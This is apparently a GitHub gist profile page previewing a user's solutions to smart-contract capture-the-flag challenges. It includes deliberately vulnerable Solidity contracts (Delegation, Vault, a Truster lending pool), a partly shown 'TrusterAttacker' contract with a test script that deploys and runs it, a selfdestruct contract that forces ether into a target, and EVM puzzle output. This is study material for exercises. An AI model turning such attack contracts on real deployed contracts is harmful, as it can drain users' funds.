Skip to content

Instantly share code, notes, and snippets.

View DAVEALLCAPS's full-sized avatar

CAPS LOCK DAVE DAVEALLCAPS

View GitHub Profile
@DAVEALLCAPS
DAVEALLCAPS / Delegation.sol
Created January 30, 2023 21:03
The goal of this level is for you to claim ownership of the instance you are given.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
@DAVEALLCAPS
DAVEALLCAPS / TrusterLenderPool.sol
Created January 30, 2023 23:55
Challenge #3 of DVDFi v3.0.0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
/**
* @title TrusterLenderPool
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
@DAVEALLCAPS
DAVEALLCAPS / TrusterLenderPoolAddOn.sol
Created February 2, 2023 01:36
TrusterAttacker contract
contract TrusterAttacker {
TrusterLenderPool public immutable pool;
ERC20 public immutable token;
constructor(address _pool, address _token) {
pool = TrusterLenderPool(_pool);
token = ERC20(_token);
}
function fakeLoan() external {
@DAVEALLCAPS
DAVEALLCAPS / truster.challenge.js
Created February 2, 2023 01:39
Deploy our contract with the pool address and the token address, then call the function.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const TrusterAttacker = await ethers.getContractFactory('TrusterAttacker', player);
attack = await TrusterAttacker.deploy(pool.address,token.address);
await attack.connect(player).fakeLoan()
});
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Destruct {
constructor() payable {
}
function destroy(address apocalypse) public {
selfdestruct(payable(apocalypse));
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
➜ evm-puzzles git:(master) ✗ npx hardhat play
############
# Puzzle 3 #
############
00 36 CALLDATASIZE
01 56 JUMP
02 FD REVERT
03 FD REVERT
04 5B JUMPDEST
➜ evm-puzzles git:(master) ✗ npx hardhat play
############
# Puzzle 4 #
############
00 34 CALLVALUE
01 38 CODESIZE
02 18 XOR
03 56 JUMP
04 FD REVERT